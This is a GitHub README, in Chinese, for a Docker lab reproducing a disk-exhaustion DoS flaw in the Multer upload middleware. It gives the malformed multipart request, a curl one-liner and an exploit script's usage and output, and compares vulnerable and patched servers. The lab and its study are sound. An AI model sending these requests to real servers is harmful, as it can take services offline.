Mkway/CVE-2026-3304
GitHub: Mkway/CVE-2026-3304
CVE-2026-3304完整复现环境,演示Multer中间件因临时文件清理不完整导致的拒绝服务漏洞。
Stars: 0 | Forks: 0
# CVE-2026-3304 实验环境
## 漏洞概述
| 字段 | 详情 |
|-------|---------|
| CVE | CVE-2026-3304 |
| 目标 | Multer < 2.1.0 (Node.js multipart/form-data 中间件) |
| 类型 | DoS - 孤立文件 (临时文件清理不完整) |
| CWE | CWE-459: 清理不完整 |
| CVSS 4.0 | 8.7 高危 |
| 已修复版本 | Multer 2.1.0 |
| 分析 | NVD API + GitHub Advisory + Claude AI |
## 漏洞原理
一个格式错误的 multipart 请求,如果其文件部分缺少 `name` 属性,会导致 Multer 在磁盘上创建一个临时文件但永远不会清理它。重复的请求会耗尽磁盘空间,从而导致拒绝服务。
```
Attacker Server (Multer < 2.1.0)
| |
|-- malformed multipart request ---->|
| [Part 1: name="file" OK] |-- creates /tmp/uploads/abc123 (temp file)
| [Part 2: name missing] |
| |-- async fileFilter invoked (setImmediate)
| |-- missing name -> returns 500 error
|<-- HTTP 500 Internal Server Error -|
| |-- /tmp/uploads/abc123 still on disk! (not cleaned up)
|
repeat -> disk exhaustion (DoS)
```
**`lib/make-middleware.js` 中的根本原因** — 修复版本 (2.1.0) 添加的代码:
```
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // clean up temp file
}
```
使用 `setImmediate` 的异步 `fileFilter` 会延迟执行,因此当检测到错误时,文件流已经打开,而在易受攻击的版本中永远不会执行到清理分支。
## 格式错误的 POST 请求
该攻击发送一个 `multipart/form-data` POST 请求,其中第二部分缺少必需的 `name` 属性。
### 正常请求 (安全)
```
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
------Boundary--
```
### 恶意请求 (触发 CVE-2026-3304)
```
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Part 1: valid, temp file created here
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Part 2: name= missing!
Content-Type: application/octet-stream
x
------Boundary--
```
**服务器端发生的情况:**
```
1. Part 1 arrives → Multer opens /tmp/uploads/ and starts writing
2. async fileFilter called with setImmediate → callback deferred
3. Part 2 arrives → Multer detects missing name → sets errorOccured = true
4. setImmediate fires → fileFilter callback runs
5. [BUG] errorOccured flag is NOT checked → proceeds to storage._handleFile
6. Temp file written to disk
7. Server returns HTTP 500
8. /tmp/uploads/ stays on disk forever ← orphaned file
```
**服务器响应:**
```
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
```
### curl 单行命令
```
printf -- '--TestBound\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n--TestBound\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n--TestBound--\r\n' \
| curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=TestBound" \
--data-binary @-
```
## 环境设置
### 需求
- Docker, Docker Compose
- Python 3 + requests (`pip install requests`)
### 启动
```
# 启动易受攻击 (端口 3000) + 已修补 (端口 3001) 服务器
docker compose up -d --build
# 验证两者是否都在运行
curl http://localhost:3000/status
curl http://localhost:3001/status
```
## 使用方法
### 步骤 1 — 单个格式错误请求 (快速测试)
```
bash exploit/curl_poc.sh
```
### 步骤 2 — DoS 利用
```
# 默认 (50 个请求)
python3 exploit/exploit.py
# Heavy attack (500 个请求,每个负载 5 KB)
python3 exploit/exploit.py --count 500 --size 5120
# 针对使用自签名证书的 HTTPS 目标
python3 exploit/exploit.py --target https://target.example.com --no-verify
# 与已修补版本进行对比
python3 exploit/exploit.py --target http://localhost:3001 --count 50
```
### 步骤 3 — 实时监控 (单独终端)
```
bash exploit/monitor.sh
```
### 步骤 4 — 重置上传目录
```
curl -X DELETE http://localhost:3000/reset
```
## 预期结果
| 目标 | 结果 |
|--------|--------|
| 易受攻击服务器 (3000) | 每个请求创建一个孤立文件,磁盘持续增长 |
| 已修补服务器 (3001) | 无论请求次数多少,0 个孤立文件 |
## 验证测试结果
### 利用输出 (易受攻击服务器, 50 个请求 × 2 KB)
```
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
```
### 容器内验证的实际磁盘使用情况
```
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Before attack:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
After 200 requests × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
```
每个孤立文件会永久保留在磁盘上,直到服务器重启或手动清理。
容器的 tmpfs 上限为 **50 MB** — 达到此限制会导致服务器完全无法处理新的上传。
### 不重置运行两次 — 文件累积
```
Run 1: orphaned files 0 -> 50 (100 KB)
Run 2: orphaned files 50 -> 100 (200 KB)
↑ files from run 1 still present — never cleaned up
```
### 已修补服务器 (Multer 2.1.0) — 相同攻击,零影响
```
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
```
## 参考资料
- [GitHub Advisory GHSA-xf7r-hgr6-v32p](https://github.com/expressjs/multer/security/advisories/GHSA-xf7r-hgr6-v32p)
- [修复提交 739919097d](https://github.com/expressjs/multer/commit/739919097dde3921ec31b930e4b9025036fa74ee)
- [NVD CVE-2026-3304](https://www.cve.org/CVERecord?id=CVE-2026-3304)
## 清理环境
```
docker compose down
```
标签:CISA项目, CVE-2026-3304, CWE-459, DoS, Express, GNU通用公共许可证, MITM代理, Multer, Multipart/form-data, Node.js, Web安全, 中间件安全, 临时文件, 应用安全, 拒绝服务攻击, 清理不完整, 漏洞分析, 漏洞复现, 磁盘耗尽, 网络安全, 蓝队分析, 请求拦截, 资源耗尽, 路径探测, 逆向工具, 隐私保护, 靶场环境